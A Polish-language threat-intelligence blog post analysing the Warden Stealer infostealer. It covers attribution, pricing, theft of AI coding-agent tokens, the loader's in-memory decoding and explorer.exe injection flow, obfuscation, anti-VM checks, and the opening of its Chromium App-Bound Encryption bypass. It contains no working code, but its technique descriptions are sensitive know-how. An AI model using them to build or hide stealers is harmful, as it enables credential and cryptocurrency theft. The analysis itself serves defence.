Warden Stealer: program wykradający dane, który poluje na dane agentów AI

0

Od przypisania autorstwa po analizę techniczną programu wykradającego dane napisanego w języku Rust



Kluczowe punkty

  • Gen Threat Labs śledzi Warden Stealer – pojawiający się i aktywnie rozwijany program typu malware-as-a-service (MaaS) służący do kradzieży danych, napisany w języku programowania Rust, który w ciągu zaledwie kilku miesięcy stał się już jednym z najpowszechniejszych programów tego typu wśród naszych użytkowników.
  • W odróżnieniu od większości swoich konkurentów, Warden Stealer nie jest sprzedawany jako czysty program do kradzieży danych, ale zawiera własny moduł ładujący oraz wbudowany program do kradzieży kryptowalut.
  • Warden Stealer jest jednym z pierwszych programów tego typu, które atakują pliki konfiguracyjne i dane lokalne należące do asystentów AI oraz narzędzi do kodowania agentowego.
  • Jego kompilacje są silnie zaciemnione, modyfikowane i regularnie aktualizowane w celu uniknięcia wykrycia. W tym technicznym wpisie na blogu skupiamy się na ustaleniu pochodzenia tego programu oraz przedstawiamy techniczną analizę jego możliwości, w tym omówienie sposobu obejścia szyfrowania związanego z aplikacją (ABE).

Wprowadzenie i identyfikacja

Warden Stealer to szybko rozwijający się i aktywnie rozbudowywany program typu „infostealer-as-a-service”, promowany na podziemnych forach od sierpnia 2026 r. Program ten jest napisany w języku programowania Rust i atakuje systemy Windows od wersji 8 do 11 (na rysunku 1 poniżej wymieniono również Windows 7 jako obsługiwany, ale obsługa tej wersji została wycofana od wersji 1.9 Warden Stealer) .

Zgodnie z reklamą Warden Stealer rzekomo jest w stanie wykraść dane ze wszystkich przeglądarek opartych na silnikach Chromium i Gecko, ponad 200 rozszerzeń portfeli kryptowalutowych oraz ponad 360 innych celów w 13 kategoriach, w tym komunikatorów, menedżerów haseł, narzędzi 2FA i klientów VPN, z możliwością dalszego rozszerzenia zakresu gromadzenia danych poprzez niestandardowe reguły przechwytywania plików i wpisów rejestru. Niemniej jednak rzeczywisty zakres gromadzonych danych zawsze zależy od konfiguracji konkretnej kompilacji, która – jak wynika z naszej analizy – może się znacznie różnić w zależności od operatora.

Rysunek 1: Warden Stealer reklamowany na podziemnym forum (przetłumaczone z języka rosyjskiego).
Rysunek 1: Warden Stealer reklamowany na podziemnym forum (przetłumaczone z języka rosyjskiego).

Szczególnie warto jednak podkreślić, że Warden Stealer jest jednym z pierwszych programów typu infostealer, które zaobserwowaliśmy, kradnących pliki konfiguracyjne i dane lokalne należące do asystentów AI oraz narzędzi do kodowania agentowego, takich jak Claude, Codex, Grok i Cursor. Odzwierciedla to pojawiający się trend, który ostatnio obserwujemy w środowisku programów typu infostealer, i który nie jest żadnym zaskoczeniem, biorąc pod uwagę, jak wiele poufnych informacji mogą zawierać te pliki. W zależności od agenta i jego konfiguracji pliki te mogą zawierać tokeny dostępu i odświeżania, poświadczenia przechowywane w konfiguracjach MCP, historie poleceń, bazy danych rozmów oraz ślady projektów, nad którymi pracował programista, dając atakującemu zarówno środki dostępu do konta, jak i kontekst niezbędny do zrozumienia, jakie cenne dane się za nim kryją.

Co ciekawe, kradzież danych agentów AI nie znajdowała się wśród funkcji pierwotnie wymienionych w reklamie Warden Stealer, ani nie była częścią dynamicznej konfiguracji każdej kompilacji, co skłoniło nas do wniosku, że wynikało to z niestandardowych reguł gromadzenia danych zdefiniowanych przez konkretnych operatorów. Sytuacja ta uległa jednak zmianie wraz z wydaniem wersji 1.9 Warden Stealer (ogłoszonej 29 września 2026 r.), w której autorzy złośliwego oprogramowania oficjalnie ogłosili gromadzenie tokenów z agentów kodujących opartych na sztucznej inteligencji (patrz rysunek 2). Niezależnie od tego, czy odbywa się to za pomocą niestandardowych reguł, czy wbudowanej obsługi, dane agentów AI są obecnie celem znacznej części kompilacji Warden Stealer, co podkreśla rosnącą tendencję, zgodnie z którą dane te szybko stają się przedmiotem zainteresowania programów wykradających informacje.

Rysunek 2: Ogłoszenie aktualizacji Warden Stealer v1.9 podkreślające gromadzenie tokenów agentów kodujących AI (przetłumaczone z języka rosyjskiego).
Rysunek 2: Ogłoszenie aktualizacji Warden Stealer v1.9 podkreślające gromadzenie tokenów agentów kodujących AI (przetłumaczone z języka rosyjskiego).

Omówiliśmy już ten temat w naszym poprzednim wpisie na blogu, Programy wykradające dane znalazły nowy cel: Twój agent AI. Tam jednak określaliśmy Warden Stealer jako CallbackBeaver, ponieważ w tamtym czasie nie byliśmy jeszcze w stanie przypisać go do Warden Stealer i dlatego nadaliśmy mu własną nazwę.

Przypisanie autorstwa jest zawsze trudnym zadaniem, a ten przypadek nie był wyjątkiem, ponieważ program kradnący dane nie zawiera żadnych fragmentów kodu, które bezpośrednio łączyłyby go z marką Warden Stealer. To, co jednak wskazało nam właściwy kierunek, to nasza dogłębna analiza tego programu wykradającego dane, którą zestawiliśmy ze szczegółami technicznymi złośliwego oprogramowania udostępnionymi na podziemnych forach przez samych autorów, a także z informacjami pochodzącymi z niedawnego wywiadu z autorami Warden Stealer przeprowadzonego przez g0njxa. Łącząc wszystkie elementy, ostatecznie doszliśmy do wniosku, że CallbackBeaver to w rzeczywistości Warden Stealer. Aby czytelnicy mogli lepiej zrozumieć, na czym opiera się nasza identyfikacja, poniżej przedstawiamy kluczowe dowody.

Po pierwsze, program ten jest napisany w języku Rust, co jest raczej nietypowe, ponieważ tylko nieliczne programy wykradające dane wybierają ten język programowania. Jest to zgodne z treścią wywiadu, w którym autorzy złośliwego oprogramowania przypisują wybór języka Rust swojemu wcześniejszym doświadczeniu z nim, a także „bardzo dobrym możliwościom morfingu kodu”, jakie zapewnia. Morfing, z kolei, jest właśnie tym, co – musimy przyznać – Warden Stealer niewątpliwie wyróżnia się na tle tego, co jest typowe dla ekosystemu MaaS. Nic dziwnego, że jest to również jeden z głównych atutów, na których autorzy opierają swój marketing, reklamując Warden Stealer jako „jedyny prawdziwy program do morfingu na rynku (a nie tylko obfuskator), oparty na parsowaniu kodu AST i przejściach LLVM IR”. ”

Na podstawie naszej analizy poszczególne kompilacje są rzeczywiście silnie zaciemnione i poddane morfingowi. W połączeniu z faktem, że pliki binarne w języku Rust są notorycznie trudne do odtworzenia metodami inżynierii odwrotnej, sprawia to, że Warden Stealer jest naprawdę trudny do wykrycia statycznie, ale oczywiście nie jest to niemożliwe, o czym autorzy Wardenu zaczęli uprzejmie wspominać w swoich postach na podziemnych forach (patrz rysunki 3 i 4).

Rysunek 3: Ogłoszenie aktualizacji Warden Stealer v1.7 (przetłumaczone z języka rosyjskiego).
Rysunek 3: Ogłoszenie aktualizacji Warden Stealer v1.7 (przetłumaczone z języka rosyjskiego).
Rysunek 4: Ogłoszenie o aktualizacji Warden Stealer v1.8 (przetłumaczone z języka rosyjskiego).
Rysunek 4: Ogłoszenie o aktualizacji Warden Stealer v1.8 (przetłumaczone z języka rosyjskiego).

Po drugie, autorzy złośliwego oprogramowania stwierdzają w wywiadzie, że prace nad tym programem do kradzieży danych rozpoczęły się na początku 2026 r., a projekt został udostępniony publicznie 21 lipca 2026 r. Jest to zgodne z naszymi własnymi obserwacjami, ponieważ śledziliśmy pierwsze wersje (na przykład 241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437) od początku maja 2026 r., a od początku sierpnia 2026 r. odnotowaliśmy znaczny wzrost jego rozpowszechnienia. Chociaż autorzy niekoniecznie muszą mówić prawdę, ramy czasowe po raz kolejny pokrywają się z ich twierdzeniami.

Ściśle powiązane z tą chronologią jest rozprzestrzenianie się samego programu kradnącego dane, ponieważ Warden Stealer w ciągu zaledwie kilku miesięcy stał się już jednym z najczęściej występujących programów kradnących dane w naszej bazie użytkowników, co ponownie jest zgodne z twierdzeniem autorów, że obecnie aktywnie korzysta z niego około 110 klientów.

Oprócz funkcji kradzieży danych Warden Stealer posiada własny moduł ładujący oraz wbudowany program do wycinania kryptowalut, co nie jest zbyt powszechne wśród programów typu MaaS służących do kradzieży danych i może być jednym z kluczowych czynników stojących za jego szybkim wzrostem popularności. Dlatego sam fakt, że analizowane przez nas próbki były zazwyczaj rozpowszechniane za pośrednictwem dedykowanego modułu ładującego tego programu oraz posiadały wbudowaną funkcję wycinania kryptowalut, stanowił kolejny silny wskaźnik.

Jeśli chodzi o funkcję klipera, Warden Stealer pierwotnie obsługiwał sześć sieci kryptowalutowych (patrz rysunek 5), a mianowicie BTC (Bitcoin), ETH (Ethereum), TRX (TRON), XMR (Monero), SOL (Solana) oraz TON (The Open Network), co dokładnie odpowiada (co warte odnotowania, nawet w tej samej kolejności) dynamicznej konfiguracji, którą wyodrębniliśmy ze starszej kompilacji Warden Stealer (patrz rysunek 6). Począwszy od wersji 1.7 autorzy złośliwego oprogramowania rozszerzyli moduł „clipper” o obsługę czterech dodatkowych sieci: LTC (Litecoin), XRP (XRP Ledger), ADA (Cardano) oraz BCH (Bitcoin Cash). Zmianę tę zaobserwowaliśmy niemal natychmiast również w dynamicznych konfiguracjach nowszych kompilacji, które obecnie zawierają dokładnie te cztery sieci dodane bezpośrednio po pierwotnej szóstce (patrz rysunek 7), co sprawia, że moduł przechwytujący stanowi kolejny silny wskaźnik potwierdzający nasze przypisy.

Rysunek 5: Wbudowany moduł przechwytujący kryptowaluty w programie Warden Stealer w wersji pierwotnie reklamowanej oraz po aktualizacji do wersji 1.7 (przetłumaczone z języka rosyjskiego).
Rysunek 5: Wbudowany moduł przechwytujący kryptowaluty w programie Warden Stealer w wersji pierwotnie reklamowanej oraz po aktualizacji do wersji 1.7 (przetłumaczone z języka rosyjskiego).
Rysunek 6: Konfiguracja modułu clipper wyodrębniona ze starszej kompilacji Warden Stealer, zawierająca sześć sieci kryptowalutowych (adres Monero pozostał pusty w tej konkretnej kompilacji).
Rysunek 6: Konfiguracja modułu clipper wyodrębniona ze starszej kompilacji Warden Stealer, zawierająca sześć sieci kryptowalutowych (adres Monero pozostał pusty w tej konkretnej kompilacji).
Rysunek 7: Konfiguracja modułu clipper wyodrębniona z nowszej kompilacji Warden Stealer, rozszerzona o LTC, XRP, ADA i BCH.
Rysunek 7: Konfiguracja modułu clipper wyodrębniona z nowszej kompilacji Warden Stealer, rozszerzona o LTC, XRP, ADA i BCH.

Chociaż istnieje kilka innych czynników pozwalających na identyfikację autorów, związanych głównie z możliwościami deklarowanymi przez autorów i faktycznym działaniem programu, a także z zastosowanymi technikami zaciemniania kodu, nie będziemy ich szczegółowo omawiać, ponieważ uważamy, że przedstawione powyżej dowody mówią same za siebie.

Program Warden Stealer jest oferowany w ramach wielopoziomowego modelu subskrypcji, a poszczególne plany różnią się przede wszystkim limitami operacyjnymi, takimi jak liczba kompilacji i domen C2. Początkowo autorzy złośliwego oprogramowania oferowali plan „Test” za 90 USD tygodniowo, a plany „Personal” i „Premium” za odpowiednio 349 USD i 499 USD miesięcznie. Jednak wraz z wersją 1.9 znacznie podnieśli ceny: plan „Test” kosztuje obecnie 149 USD za trzy dni, podczas gdy cena planu „Personal” wzrosła do 450 USD, a planu „Premium” do 800 USD miesięcznie. Jednocześnie wprowadzono nowy plan „Enterprise” w cenie 1 500 dolarów miesięcznie.

Wreszcie, biorąc pod uwagę, że Warden Stealer celowo omija systemy zlokalizowane w krajach WNP i krajach bałtyckich oraz jest reklamowany w języku rosyjskim, uzasadnione jest założenie, że jego twórcy prawdopodobnie działają w ramach rosyjskojęzycznych społeczności cyberprzestępczych. Nie musi to jednak wiązać się z ich dokładnym pochodzeniem.

Rysunek 8: Przegląd panelu internetowego Warden Stealer.
Rysunek 8: Przegląd panelu internetowego Warden Stealer.
Rysunek 9: Menedżer logów Warden Stealer.
Rysunek 9: Menedżer logów Warden Stealer.

Krajobraz

Pomimo tego, że Warden Stealer jest obecny na rynku dopiero od niedawna, zdążył już zająć pozycję jednego z głównych graczy w świecie programów wykradających dane i obecnie jest jednym z najczęściej występujących programów tego typu w naszej bazie użytkowników (wraz z Vidar, Amatera i Remus) .

Jeśli chodzi o dystrybucję, ponieważ Warden Stealer jest sprzedawany w modelu MaaS, wektory infekcji zależą ostatecznie od poszczególnych operatorów. W rezultacie obserwujemy, że jest on rozpowszechniany za pośrednictwem wszystkich standardowych wektorów infekcji, w tym między innymi rzekomo złamanych programów, kodów do gier, złośliwych reklam oraz kampanii ClickFix.

Biorąc pod uwagę jego aktywny rozwój, wbudowany moduł ładujący i narzędzie do przechwytywania danych, ciągłe wysiłki autorów zmierzające do modyfikacji kompilacji w celu uniknięcia wykrycia oraz wykorzystanie sztucznej inteligencji (jak twierdzili w wywiadzie), spodziewamy się, że Warden Stealer pozostanie kluczowym graczem na rynku programów wykradających dane w dającej się przewidzieć przyszłości.

Analiza techniczna

W tej sekcji skupiamy się na wybranych aspektach technicznych Warden Stealer. Należy pamiętać, że jest to jedynie wybrany podzbiór jego funkcjonalności, a nie wyczerpujący przegląd.

Warden Loader

Jeśli chodzi o ekosystem programów wykradających dane typu Malware-as-a-Service (MaaS), granice operacyjne są zazwyczaj ściśle wytyczone: autorzy złośliwego oprogramowania opracowują podstawowy ładunek (program wykradający dane), podczas gdy operatorzy zajmują się pozostałą częścią łańcucha infekcji, w tym warstwami pozwalającymi na uniknięcie wykrycia (kryptory i/lub moduły ładujące) oraz dostarczaniem ładunku. Na tym konwencjonalnym tle Warden Stealer wyróżnia się jako godny uwagi wyjątek, ponieważ posiada własny, dedykowany loader, który odciąża operatorów i może tym samym częściowo wyjaśniać szybki wzrost popularności tego stealera.

Na podstawie naszej analizy kodu z dużą pewnością stwierdzamy, że loader nie jest dodatkiem strony trzeciej, lecz komponentem opracowanym i utrzymywanym wewnętrznie przez samych autorów Warden Stealera. Ocenę tę opieramy na fakcie, że moduł ładujący wykorzystuje ten sam schemat zaciemniania kodu oraz wykazuje znaczną liczbę innych podobieństw do samego stealera (niektóre z nich podkreślamy w dalszej części tego wpisu na blogu), co jednoznacznie wiąże oba komponenty z tymi samymi autorami złośliwego oprogramowania. Niemniej jednak warstwa modułu ładującego nie jest ściśle wymagana, ponieważ stealer może być również dostarczany jako samodzielny plik binarny. Niemniej jednak przeważnie obserwujemy, że Warden Stealer jest rozpowszechniany właśnie za pośrednictwem tego modułu ładującego.

Pod względem funkcjonalnym moduł ładujący jest dość prosty i działa w jednym jasnym celu – odtworzeniu ładunku programu kradnącego dane w pamięci i jego uruchomieniu. Ogólnie rzecz biorąc, program Warden Stealer może być wdrażany w jednym z trzech dostępnych trybów działania:

Tryb wstrzykiwania: moduł ładujący jest dostarczany jako plik EXE, który odtwarza ładunek programu kradnącego dane (DLL) i wstrzykuje go do już uruchomionego, wyglądającego na legalny procesu. Jest to najczęściej spotykany tryb i prawdopodobnie konfiguracja domyślna.

Tryb sideload: moduł ładujący jest dostarczany jako biblioteka DLL wraz z legalnie podpisanym plikiem EXE, który dokonuje jego sideloadu. Po sideloadzie moduł ładujący odtwarza ładunek programu kradnącego dane (DLL) i uruchamia go w pamięci w ramach procesu hosta.

Tryb samodzielny: program kradnący dane jest dostarczany całkowicie bez warstwy modułu ładującego, jako samodzielny plik EXE.

Ponieważ zdecydowana większość próbek, które obserwujemy w środowisku naturalnym, wykorzystuje tryb wstrzykiwania, w dalszej części skupimy się wyłącznie na tym konkretnym trybie.

Ładunek programu kradnącego dane jest osadzony w sekcji .rdata modułu ładującego i zakodowany przy użyciu niestandardowego alfabetu podobnego do Base64, unikalnego dla każdej kompilacji. Co ciekawe, alfabety te różnią się między kompilacjami nie tylko kolejnością znaków, ale także samym zestawem znaków (tj. nie są one zwykłymi permutacjami jednego zestawu znaków). Niemniej jednak każdy alfabet składa się wyłącznie z drukowalnych znaków ASCII i jest wspólny dla modułu ładującego oraz kompilacji programu kradnącego dane, którą przenosi; oba wykorzystują go do dekodowania swoich zaciemnionych fragmentów danych, w tym zaciemnionych ciągów znaków.

Przykłady alfabetów podobnych do Base64 zaobserwowanych w różnych kompilacjach programu Warden Stealer:

  • <y.#»0_Oe;5~q4I[a9Tf3:8pvR{F$ZQg)!(-XtCYznuPU?Jiw&BK@6}*|1D,2>7A
  • WJOTHk*aGS.#bdwLArzDM69yUR(NXZj<8?n{F!« e$C3~,|1B;)c04p]xQs_:o%&q
  • Da7L(>CZ4tB2bkT|u}%jRl5O^n]cIvoM-q;W)w<.&rdVP*gHzp_@Nh$1eYU'[~GK
Rysunek 10: Początkowe bajty blobu ładunku programu Warden Stealer zakodowanego przy użyciu niestandardowego alfabetu podobnego do Base64.
Rysunek 10: Początkowe bajty blobu ładunku programu Warden Stealer zakodowanego przy użyciu niestandardowego alfabetu podobnego do Base64.

Sam proces odszyfrowania składa się z dwóch etapów. Każdy zakodowany blob – niezależnie od tego, czy jest to zaszyfrowany ciąg znaków, czy ładunek programu kradnącego dane – jest najpierw dekodowany przy użyciu niestandardowego schematu podobnego do Base64. Moduł ładujący przypisuje każdy znak do jego indeksu w 64-znakowym alfabecie, odejmuje specyficzne dla danego blobu przesunięcie modulo 64, a następnie łączy uzyskane 6-bitowe wartości w bajty, tak jak w zwykłym kodowaniu Base64. Zdekodowany strumień jest następnie dekompresowany przy użyciu niestandardowego formatu typu LZSS.

Jeśli chodzi o rekonstrukcję ładunku, moduł ładujący przetwarza trzy oddzielnie zdekodowane bloby: główny blob zawierający dane sekcji PE, blob pomocniczy dostarczający szablon nagłówka PE oraz szablon stubu bootstrapowego. Pierwsze dwa bloby są łączone w celu odtworzenia obrazu PE programu kradnącego dane w pamięci, natomiast szablon fragmentu bootstrapowego jest wypełniany wartościami środowiska uruchomieniowego i dołączany po odtworzonym obrazie oraz bloku kontekstowym zbudowanym w czasie wykonywania.

Następnie moduł ładujący wybiera proces docelowy do wstrzyknięcia. Najnowsze wersje robią to poprzez zlokalizowanie okna Shell_TrayWnd (pasek zadań systemu Windows) za pomocą funkcji FindWindowA oraz pobranie identyfikatora PID procesu będącego właścicielem tego okna za pomocą funkcji GetWindowThreadProcessId. W standardowej sesji systemu Windows okno to zazwyczaj należy do procesu explorer.exe, chociaż moduł ładujący nie weryfikuje nazwy procesu. Starsze wersje atakowały również inne procesy, takie jak msiexec.exe lub dllhost.exe.

Po uzyskaniu uchwytu do procesu docelowego moduł ładujący przydziela w nim pamięć wykonywalną za pomocą funkcji VirtualAllocEx z flagą ochrony PAGE_EXECUTE_READWRITE. Gdy znany jest już zdalny adres bazowy, moduł ładujący stosuje niezbędne relokacje i wstrzykuje zrekonstruowany obraz, blok kontekstowy oraz fragment kodu rozruchowego do przydzielonego obszaru jako pojedynczy, ciągły bufor za pomocą funkcji WriteProcessMemory. Następnie moduł ładujący wywołuje funkcję CreateRemoteThread, aby rozpocząć wykonywanie od dołączonego fragmentu kodu rozruchowego.

Ponieważ ładunek jest mapowany ręcznie, standardowy moduł ładujący systemu Windows nie rejestruje go jako załadowanego modułu.

Aby wypełnić tę lukę, fragment bootstrapu najpierw pobiera PEB za pomocą funkcji RtlGetCurrentPeb i łączy dwa węzły LIST_ENTRY z bloku kontekstowego z listami PEB->Ldr->InLoadOrderModuleList oraz PEB->Ldr->InMemoryOrderModuleList, dzięki czemu ładunek staje się widoczny dla kodu, który przegląda te listy. Na koniec moduł bootstrap wywołuje wskaźniki funkcji niebędące null z ustalonego zakresu w obrazie ładunku, w tym jego wywołania zwrotne TLS, i przekazuje kontrolę do ładunku poprzez wywołanie jego punktu wejścia PE.

Rysunek 11: Rekonstrukcja ładunku Warden Stealer i przebieg wstrzykiwania.
Rysunek 11: Rekonstrukcja ładunku Warden Stealer i przebieg wstrzykiwania.

Warto również zauważyć, że pliki binarne modułu ładującego Warden Stealer są często celowo rozbudowywane za pomocą ogromnej nakładki PE — jest to wybór projektowy mający na celu ominięcie wykrycia (stosowany również, na przykład, przez GoFlateLoader), ponieważ nadmiernie duże pliki wykonywalne mogą stanowić wyzwanie dla niektórych rozwiązań antywirusowych i EDR, które — głównie ze względu na ograniczenia wydajnościowe i zasobowe — często nakładają praktyczne limity rozmiaru plików dla głębokiego skanowania i/lub emulacji.

Ta sama logika dotyczy zautomatyzowanych procesów analitycznych, w których nadmiernie powiększone pliki często powodują przekroczenie limitów czasu podczas analizy heurystycznej, a nawet mogą uniemożliwić przesłanie próbki do piaskownic w chmurze lub platform analizy zagrożeń, które stosują własne surowe limity przesyłania w celu zarządzania przepustowością i kosztami przechowywania danych.

Zaszyfrowanie

Jeśli chodzi o analizę statyczną, kompilacje Warden Stealer są chronione kilkoma warstwami zaszyfrowania. Ponieważ jednak zaszyfrowanie podlega częstym zmianom – zarówno w celu uniknięcia wykrycia, jak i uniemożliwienia działania narzędzi do automatycznej analizy – nie zamierzamy przedstawiać wyczerpującego opisu technicznego, a raczej dać czytelnikom ogólny przegląd stosowanych technik. Należy zauważyć, że wszystkie techniki omówione poniżej mają zastosowanie zarówno do modułu ładującego, jak i do modułu kradnącego.

Po pierwsze, jak już wspomniano w sekcji poświęconej modułowi ładującemu, Warden Stealer zaciemnia swoje ciągi znaków przy użyciu niestandardowej kompresji w stylu LZSS w połączeniu z alfabetem podobnym do Base64, specyficznym dla danej kompilacji, oraz parametrem przesunięcia specyficznym dla danego ciągu znaków, przy czym każdy ciąg znaków jest dekodowany w trybie leniwym przy pierwszym użyciu, a następnie buforowany na potrzeby wszelkich kolejnych odwołań.

Po drugie, funkcje API systemu Windows są rozpoznawane dynamicznie na podstawie nazwy (przy użyciu kombinacji funkcji LoadLibraryA i GetProcAddress) i buforowane po pierwszym wyszukaniu, przy czym zarówno nazwy modułów, jak i funkcji są przechowywane jako zaszyfrowane ciągi znaków i dekodowane na żądanie.

Rysunek 12: Przykład dekodowania ciągu znaków przez Warden Stealer, a następnie buforowanego rozpoznawania API.
Rysunek 12: Przykład dekodowania ciągu znaków przez Warden Stealer, a następnie buforowanego rozpoznawania API.

Warden Stealer stosuje również zatarcie pośredniego przepływu sterowania, zastępując bezpośrednie skoki i wywołania pośrednimi, których adresy docelowe są obliczane dopiero w czasie wykonywania i przekazywane za pośrednictwem rejestru. Warto zauważyć, że zakres stosowania tej techniki zaciemniania znacznie się zmniejszył z biegiem czasu. Podczas gdy starsze wersje zaciemniały większość skoków i wywołań, a nawet poszczególne bloki podstawowe były łączone za pomocą skoków pośrednich (patrz rysunek 13), najnowsze wersje pozostawiają zaciemnione tylko kilka z nich.

Rysunek 13: Przykład pośredniego zaciemniania przepływu sterowania w starszej kompilacji Warden Stealer (z celami skoków już odszyfrowanymi).

Wcześniejsze wersje Warden Stealer dodatkowo wykorzystywały wywołania zwrotne TLS (skąd, nawiasem mówiąc, pochodzi nazwa „CallbackBeaver”, którą pierwotnie nadaliśmy Warden Stealer) do wypełniania pamięci lokalnej wątku i zmiennych globalnych stałymi. Stałe te były później wykorzystywane w zaciemnionych obliczeniach do odzyskiwania przesunięć danych i parametrów dekodowania ciągów znaków, a także w warunkach służących do wyboru celów skoków pośrednich.

Rysunek 14: Przykład wywołania zwrotnego TLS wypełniającego pamięć lokalną wątku stałymi we wcześniejszej kompilacji Warden Stealer.
Rysunek 14: Przykład wywołania zwrotnego TLS wypełniającego pamięć lokalną wątku stałymi we wcześniejszej kompilacji Warden Stealer.

Wreszcie, Warden Stealer wykorzystuje również maskowanie stałych, ciągi-przynęty, wyrażenia mieszanej arytmetyki boolowskiej (MBA), warunki w stylu nieprzejrzystych predykatów prowadzące do fałszywych rozgałęzień kodu oraz obliczenia-śmieci, których wyniki są po prostu odrzucane – wszystko to dodatkowo rozbudowuje zdekompilowany kod i sprawia, że jego analiza jest bardziej czasochłonna.

Rysunek 15: Przykład maskowania stałych w Warden Stealer, wykorzystywanego do kodowania względnych przesunięć, które są później dekodowane w celu odtworzenia pośrednich celów skoków.
Rysunek 15: Przykład maskowania stałych w Warden Stealer, wykorzystywanego do kodowania względnych przesunięć, które są później dekodowane w celu odtworzenia pośrednich celów skoków.

Kontrole anty-VM

Aby ustalić, czy działa w środowisku wirtualnym, Warden Stealer przeprowadza wiele kontroli anty-VM.

Po pierwsze, pobiera surową tabelę oprogramowania układowego SMBIOS za pomocą funkcji GetSystemFirmwareTable i przegląda jej rekordy, szukając co najmniej jednego rekordu typu 7 (Cache Information). Jeśli tabela zostanie pomyślnie pobrana, ale nie zawiera takiego rekordu, środowisko uznaje się za zwirtualizowane.

Rysunek 16: Program Warden Stealer sprawdzający tabelę oprogramowania układowego SMBIOS pod kątem rekordów typu 7 (Cache Information).
Rysunek 16: Program Warden Stealer sprawdzający tabelę oprogramowania układowego SMBIOS pod kątem rekordów typu 7 (Cache Information).

Następnie program wykorzystuje instrukcję cpuid, aby uzyskać fizyczny identyfikator producenta procesora (listka 0) oraz identyfikator producenta hiperwizora (listka 0x40000000). Jeśli hiperwizor zgłasza dodatkowo obsługę listków powyżej 0x400000FF, pobierany jest również dodatkowy identyfikator producenta hiperwizora z listka 0x40000100. Fizyczny identyfikator producenta procesora, identyfikator producenta hiperwizora (jeśli jest niezerowy) oraz dodatkowy identyfikator producenta hiperwizora (jeśli jest dostępny) są następnie porównywane z czarną listą zawierającą 27 dokładnych 12-bajtowych sygnatur, obejmującą szeroki zakres hiperwizorów i emulatorów, w tym VMware, VirtualBox, KVM, Xen lub QEMU działające w trybie TCG. Jeśli nie zostanie znalezione dokładne dopasowanie, identyfikatory są dalej przeszukiwane pod kątem czterech krótszych znaczników (KVM, PpyH, Apple VZoraz QXNQSBMV).

Rysunek 17: Kontrole anty-VM programu Warden Stealer z wykorzystaniem instrukcji cpuid.
Rysunek 17: Kontrole anty-VM programu Warden Stealer z wykorzystaniem instrukcji cpuid.
Rysunek 18: Program Warden Stealer odtwarzający identyfikatory producentów procesorów znajdujących się na czarnej liście.
Rysunek 18: Program Warden Stealer odtwarzający identyfikatory producentów procesorów znajdujących się na czarnej liście.
Rysunek 19: Wyczerpująca lista wszystkich identyfikatorów producentów znajdujących się na czarnej liście programu Warden Stealer.
Rysunek 19: Wyczerpująca lista wszystkich identyfikatorów producentów znajdujących się na czarnej liście programu Warden Stealer.

Po trzecie, program Warden Stealer wylicza wpisy znajdujące się w następujących ścieżkach rejestru dotyczących odinstalowywania:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
  • HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall
  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
  • HKCU\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall

Następnie odfiltrowuje wpisy oznaczone jako komponenty systemowe (z SystemComponent REG_DWORD ustawionym na 1) oraz wpisy, których wartości UninstallString nie można pobrać. W przypadku pozostałych wpisów zbiera wartości DisplayName i sprawdza, czy któryś z nich zaczyna się od przedrostka Virtio, co może wskazywać na oprogramowanie związane z VirtIO, powszechnie kojarzone z maszynami wirtualnymi KVM/QEMU.

Na koniec program wykradający dane wylicza urządzenia wyświetlające za pomocą funkcji EnumDisplayDevicesW i sprawdza, czy któryś z opisów kart graficznych zawiera jeden z podciągów Virtio, Standard VGA lub Basic Display, które zazwyczaj odpowiadają generycznym kartom graficznym stosowanym w maszynach wirtualnych bez dedykowanych sterowników graficznych.

Jeśli środowisko zostanie uznane za zwirtualizowane, program Warden Stealer wyświetla okno komunikatu o tytule DEBUG z rosyjskim komunikatem: Моня, и шо разве мы виноваты, что вокруг Одессы Украину построили?! (co w przybliżeniu można przetłumaczyć jako „Monya, czy to naprawdę nasza wina, że wokół Odessy zbudowali Ukrainę?!”) i przerywa działanie modułu raportującego, zanim ten przystąpi do dalszego gromadzenia danych i generowania raportów.

Rysunek 20: Okno dialogowe wyświetlane, gdy Warden Stealer wykryje, że działa w środowisku wirtualnym.
Rysunek 20: Okno dialogowe wyświetlane, gdy Warden Stealer wykryje, że działa w środowisku wirtualnym.

Ominięcie szyfrowania związanego z aplikacją (ABE)

Kluczowym elementem funkcjonalności Warden Stealer jest kradzież poufnych danych przeglądarki, takich jak pliki cookie i hasła, z przeglądarek opartych na silniku Chromium. Obecnie jednak dane te są chronione przez szyfrowanie związane z aplikacją (ABE). Aby ominąć ABE, program wykorzystuje podejście, którego nie obserwowaliśmy wcześniej w tej konkretnej formie, ale które bardzo przypomina połączenie metod omijania stosowanych przez najnowsze wersje programów Vidar i Remus. Niemniej jednak jego implementacja różni się pod kilkoma względami, co sugeruje niezależny rozwój, a nie bezpośrednią kopię.

Ponieważ w naszych wcześniejszych wpisach omówiliśmy już metody obejścia stosowane przez Vidara i Remusa, a także wewnętrzne działanie ABE, nie będziemy do nich tutaj wracać, a zamiast tego przedstawimy główne założenia implementacji stosowanej przez Warden Stealer. Czytelników zainteresowanych szerszym kontekstem zachęcamy do zapoznania się z tymi wcześniejszymi wpisami.

Z ogólnego punktu widzenia podejście Warden Stealer do obejścia ABE sprowadza się do trzech kroków:

  • Zlokalizowanie potencjalnego v20_master_key w jego zaszyfrowanej postaci w pamięci przeglądarki
  • Wykonanie wstrzykniętego kodu powłoki wewnątrz procesu przeglądarki w celu odszyfrowania klucza
  • Odczytanie odszyfrowanego klucza

Zanim jednak będzie można przystąpić do odszyfrowania, Warden Stealer musi najpierw zlokalizować v20_master_key w jego zaszyfrowanej postaci. W tym przypadku jego podejście bardzo przypomina podejście programu Vidar, ponieważ również skanuje pamięć przeglądarki w poszukiwaniu układu zgodnego z wpisami w strukturze Chromium os_crypt_async::Encryptor::KeyRing – mapie przechowującej klucze używane przez klasę Encryptor, w tym zaszyfrowany klucz v20_master_key. Niemniej jednak jego schemat skanowania jest znacznie prostszy. Podczas gdy Vidar dopasowuje 32-bajtowy sygnaturę, która obejmuje również stałe wartości określonych pól w ramach wpisu KeyRing, Warden Stealer przeszukuje pamięć przeglądarki wyłącznie pod kątem czterobajtowej sekwencji v20\x00 – zakończonego znakiem null tagu v20, pod którym klucz v20_master_key jest przechowywany w mapie KeyRing.

